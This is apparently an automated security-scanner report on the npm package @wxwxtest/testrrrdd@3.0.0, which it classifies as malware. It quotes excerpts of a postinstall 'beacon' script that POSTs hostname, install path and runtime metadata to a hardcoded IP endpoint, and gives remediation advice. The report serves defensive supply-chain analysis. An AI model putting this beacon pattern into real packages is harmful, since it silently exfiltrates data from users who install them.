@wxwxtest/testrrrdd@3.0.0
Compatibility shim.
AI Security Review
scanned 14d ago · by lpm-firewall-aiThe install hook activates a network POST that discloses host and project path metadata to a hardcoded external endpoint. This is concrete, unconsented data exfiltration.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Package installation runs the postinstall hook; importing the main entrypoint also calls the beacon.
Impact
The endpoint receives identifying details about the host and the consumer project installation.
Mechanism
The beacon POSTs the machine hostname, install path, current working directory, and runtime metadata to a hardcoded IP address.
Attack narrative
Installation automatically runs the beacon, which sends host and project location metadata to a hardcoded external endpoint. Importing the package triggers the same beacon. This is active metadata exfiltration.
AI rationale
The install hook activates a network POST that discloses host and project path metadata to a hardcoded external endpoint. This is concrete, unconsented data exfiltration.
Evidence
package.jsonbeacon.cjsindex.js
Network endpoints1
185.158.107.175:8787/_ah/dc
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The postinstall hook automatically runs the beacon.
- The beacon sends hostname, install path, working directory, and runtime metadata in a POST request to a hardcoded external IP.
- Importing the package also invokes the beacon.
Evidence against
Behavioral surface
Network
UrlStrings
Source & flagged code
7 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node beacon.cjs
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg7"postinstall": "node beacon.cjs"
},
"files": [
"index.js",
"beacon.cjs",
"README.md"
High
Suspicious Lifecycle Evidence
The postinstall hook automatically runs the beacon.
package.jsonView on unpkg · L7beacon.cjsView file
3// recipient can correlate an install. No data beyond that is collected or sent.
L4: var BEACON = "http://185.158.107.175:8787/_ah/dc";
L5: var PKG = "@wxwxtest/testrrrdd";
...
L10: var lib = u.protocol === 'https:' ? require('https') : require('http');
L11: var data = Buffer.from(JSON.stringify(payload));
L12: var req = lib.request({
...
L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); });
L21: req.write(data); req.end();
L22: } catch (e) { resolve(); }
...
L27: package: PKG,
L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
L29: installPath: __dirname,
Findings
7 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationbeacon.cjs
HighKnown Malware Source Fingerprint Signaturebeacon.cjs
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidenceindex.js
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to @wxwxtest/testrrrdd@3.0.0.
See all versions of @wxwxtest/testrrrdd for other recorded verdicts.
- Avoid installing @wxwxtest/testrrrdd@3.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.